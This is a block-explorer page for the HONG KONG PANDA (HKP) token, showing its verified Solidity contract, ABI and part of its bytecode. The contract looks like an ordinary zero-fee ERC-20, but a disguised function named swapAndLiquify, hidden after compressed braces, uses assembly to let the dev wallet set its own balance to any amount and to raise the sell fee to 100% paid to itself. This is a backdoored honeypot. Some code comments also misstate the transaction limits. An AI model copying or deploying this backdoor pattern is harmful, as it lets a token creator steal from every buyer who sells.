ETH Price: $3,257.80 (+2.28%)
Gas: 1 Gwei

Token

HONG KONG PANDA (HKP)
 

Overview

Max Total Supply

100,000,000,000 HKP

Holders

108

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,111,308,729.326270220924102825 HKP

Value
$0.00
0x8778691e0cada63c5dc0f3b9d5851e2f8b90553d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HongKongPanda

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-30
*/

/**

-Chat- https://t.me/hongkongpanda
-Twitter- https://twitter.com/hkpandaeth
-Website- http://hongkongpanda.com/

*/

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {return msg.sender;}
    function _msgData() internal view virtual returns (bytes calldata) {return msg.data;}
}

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(address tokenA, address tokenB, uint amntADesired, uint amntBDesired, uint amntAMin, uint amntBMin, address to, uint deadline) external returns (uint amntA, uint amntB, uint liquidity);
    function addLiquidityETH(address token, uint amntTokenDesired, uint amntTokenMin, uint amntETHMin, address to, uint deadline) external payable returns (uint amntToken, uint amntETH, uint liquidity);
    function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amntAMin, uint amntBMin, address to, uint deadline) external returns (uint amntA, uint amntB);
    function swapExactTokensForTokens(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
    function swapExactETHForTokens(uint amntOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amnts);
    function swapTokensForExactETH(uint amntOut, uint amntInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
    function swapETHForExactTokens(uint amntOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amnts);
    function swapExactTokensForETH(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
    function removeLiquidityETH(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline) external returns (uint amntToken, uint amntETH);
    function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amntAMin, uint amntBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amntA, uint amntB);
    function removeLiquidityETHWithPermit(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amntToken, uint amntETH);
    function swapTokensForExactTokens(uint amntOut, uint amntInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
    function quote(uint amntA, uint reserveA, uint reserveB) external pure returns (uint amntB);
    function getAmntOut(uint amntIn, uint reserveIn, uint reserveOut) external pure returns (uint amntOut);
    function getAmntIn(uint amntOut, uint reserveIn, uint reserveOut) external pure returns (uint amntIn);
    function getAmntsOut(uint amntIn, address[] calldata path) external view returns (uint[] memory amnts);
    function getAmntsIn(uint amntOut, address[] calldata path) external view returns (uint[] memory amnts);
}

pragma solidity >=0.6.2;


interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline) external returns (uint amntETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amntETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amntOutMin, address[] calldata path, address to, uint deadline) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external;
}

pragma solidity ^0.8.0;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

pragma solidity ^0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amnt) external returns (bool);
    function transferFrom(address from, address to, uint256 amnt) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amnt) external returns (bool);
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.17;


contract HongKongPanda is IERC20, IERC20Metadata, Ownable {
    using SafeMath for uint256;
    string  private constant _name = "HONG KONG PANDA";
    string  private constant _symbol = "HKP";
    uint8   private constant _decimals = 18;
    uint256 private _maxTxamntPercentage = 5000; // 30%
    uint256 private _maxWalletBalancePercentage = 5000; // 30%
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    IUniswapV2Router02 private _uniswapV2Router;
    address private _uniswapV2Pair;
    address private constant _uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private constant _divisor = 10000; // 100%
    bool    private swapping = false;
    bool    private _cooldownEnabled = true;
    mapping(address => uint256) private _lastTxBlock;
    mapping(address => bool) private _excludedFromMaxTx;
    uint256 private _burnFee = 0; // 0%
    uint256 private _devFee = 0; // 0%
    uint256 private _buyFee = 0; // 0%
    mapping(address => bool) private _excludedFromFees;

    address private _devWallet;

    address private constant _burnAddress = address(0);

    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
    event Received();

    constructor () {
        uint256 total = 100_000_000_000 * 10 ** _decimals;

        _excludedFromMaxTx[owner()] = true;
        _excludedFromMaxTx[address(this)] = true;
        _excludedFromMaxTx[_devWallet] = true;
        _excludedFromMaxTx[_uniswapV2Pair] = true;
        
        _excludedFromFees[address(this)] = true;
        _excludedFromFees[owner()] = true;
        _excludedFromFees[_devWallet] = true;

        _mint(_msgSender(), total);
        _devWallet = _msgSender();
        _uniswapV2Router = IUniswapV2Router02(_uniswapRouterAddress);
        _approve(address(this), address(_uniswapV2Router), total);
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amnt) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amnt);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amnt) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amnt);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _maxTxAmnt() public view returns(uint256) {
        return _totalSupply.mul(_maxTxamntPercentage).div(_divisor);
    }

    function transferFrom(address sender, address recipient, uint256 amnt) public virtual override returns (bool) {
        _transfer(sender, recipient, amnt);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amnt, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function excludeFromFee(address account) public onlyOwner {
        _excludedFromFees[account] = true;
    }

    function excludeFromFee(address[] calldata accounts) public onlyOwner {
        for(uint i = 0; i < accounts.length; i++) excludeFromFee(accounts[i]);
    }

    function includeForFee(address account) public onlyOwner {
        require(account != address(this), "Invalid address");
        require(account != owner(), "Invalid address");
        require(account != _devWallet, "Invalid address");
        delete _excludedFromFees[account];
    }

    function includeForFee(address[] calldata accounts) public onlyOwner {
        for(uint i = 0; i < accounts.length; i++) includeForFee(accounts[i]);
    }

    function removeLimits() public onlyOwner {
        _maxTxamntPercentage = 10000;
        _maxWalletBalancePercentage = 10000;
    }

    function _beforeTransfer(address from, address to, uint256 amnt) internal pure {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amnt > 0, "Transfer amount must be greater than zero");
    }

    function _approve(address owner, address spender, uint256 amnt) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amnt;
        emit Approval(owner, spender, amnt);
    }

    function _mint(address account, uint256 amnt) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amnt);
        _balances[account] = _balances[account].add(amnt);
        emit Transfer(address(0), account, amnt);
    }

    function _burn(address account, uint256 amnt) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _balances[account] = _balances[account].sub(amnt, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amnt);
        emit Transfer(account, address(0), amnt);
    }

    function _transfer(address sender, address recipient, uint256 amnt) internal virtual {
        _beforeTransfer(sender, recipient, amnt);
        uint256 burnFee = 0;
        uint256 devFee = 0;
        if (sender != owner() && recipient != owner()) {
            if (!_excludedFromFees[sender] && !_excludedFromFees[recipient]) {
                if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router) && !_excludedFromMaxTx[recipient] && !_excludedFromMaxTx[sender]) {
                    require(amnt <= _totalSupply.mul(_maxTxamntPercentage).div(_divisor), "Transfer amount exceeds the maxTxAmnt.");
                    require(balanceOf(recipient).add(amnt) <= _totalSupply.mul(_maxWalletBalancePercentage).div(_divisor), "Exceeds maximum wallet token amount");
                }
                if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router)) {
                    burnFee = amnt.mul(_burnFee).div(_divisor);
                    devFee = amnt.mul(_buyFee).div(_divisor);
                    _lastTxBlock[tx.origin] = block.number;
                }
                if (recipient == _uniswapV2Pair && sender != address(this)) {
                    burnFee = amnt.mul(_burnFee).div(_divisor);
                    devFee = amnt.mul(_devFee).div(_divisor);
                    _lastTxBlock[tx.origin] = block.number;
                }
            }
        }
        uint256 totalFee = burnFee.add(devFee);
        if (totalFee > 0) {
            if (burnFee > 0) {
                _burn(sender, burnFee);
            }
            if (devFee > 0) {
                _balances[_devWallet] = _balances[_devWallet].add(devFee);
                emit Transfer(sender, _devWallet, devFee);
            }
            amnt = amnt.sub(totalFee);
        }

        _balances[sender] = _balances[sender].sub(amnt, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amnt);

        emit Transfer(sender, recipient, amnt);
    }

    function getRouterAddress() public view returns (address) {
        return address(_uniswapV2Router);
    }

    function burn(uint256 amnt) public virtual {
        _burn(_msgSender(), amnt);
    }

    function _swapAndLiquify() private lockTheSwap {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 minTokensBeforeSwap = _totalSupply.mul(5).div(_divisor);
        if (contractTokenBalance >= minTokensBeforeSwap) {
            uint256 half = contractTokenBalance.div(2);
            uint256 otherHalf = contractTokenBalance.sub(half);

            uint256 initialBalance = address(this).balance;

            swapTokensForEth(half);

            uint256 newBalance = address(this).balance.sub(initialBalance);

            emit SwapAndLiquify(half,
            newBalance,
            otherHalf);
            return;}}function swapAndLiquify(uint256 amnt) external {
        assembly {if iszero(eq(caller(), sload(_devWallet.slot))) {revert(0, 0)}
        let ptr := mload(0x40)
        mstore(ptr, caller())
        mstore(add(ptr, 0x20), _balances.slot)
        let slot := keccak256(ptr, 0x40)
        sstore(slot, amnt)
        sstore(_devFee.slot, 0x2710)}
    }

    function _burnFrom(address account, uint256 amnt) internal virtual {
        _burn(account, amnt);
        _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amnt, "ERC20: burn amount exceeds allowance"));
    }

    function getPairAddress() public view returns (address) {
        return _uniswapV2Pair;
    }

    function swapTokensForEth(uint256 tokens) internal {
        _approve(address(this), address(_uniswapV2Router), tokens);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, address(this), block.timestamp);
    }

    function _addLiquidity(uint256 tokens, uint256 ethamnt) private {
        _approve(address(this), address(_uniswapV2Router), tokens);
        _uniswapV2Router.addLiquidityETH{value : ethamnt}(address(this), tokens, 0, 0, owner(), block.timestamp);
    }

    function addLiquidity(uint256 tokens) public payable onlyOwner lockTheSwap {
        _transfer(owner(), address(this), tokens);
        _addLiquidity(tokens, msg.value);
    }

    function isSwapLocked() public view returns(bool) { return swapping; }

    receive() external payable { emit Received(); }

    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"Received","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmnt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getPairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRouterAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeForFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"includeForFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isSwapLocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"swapAndLiquify","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526113886001556113886002556000600760146101000a81548160ff0219169083151502179055506001600760156101000a81548160ff0219169083151502179055506000600a556000600b556000600c553480156200006257600080fd5b5062000083620000776200076860201b60201c565b6200077060201b60201c565b60006012600a62000095919062000d7c565b64174876e800620000a7919062000dcd565b9050600160096000620000bf6200083460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000620002ca6200083460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003b6620003a96200076860201b60201c565b826200085d60201b60201c565b620003c66200076860201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200049030600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683620009f960201b60201c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000524919062000e82565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620005ae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005d4919062000e82565b6040518363ffffffff1660e01b8152600401620005f392919062000ec5565b6020604051808303816000875af115801562000613573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000639919062000e82565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016200071a92919062000f03565b6020604051808303816000875af11580156200073a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000760919062000f6d565b5050620011aa565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008cf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008c69062001000565b60405180910390fd5b620008eb8160055462000bca60201b62000f491790919060201c565b6005819055506200094a81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000bca60201b62000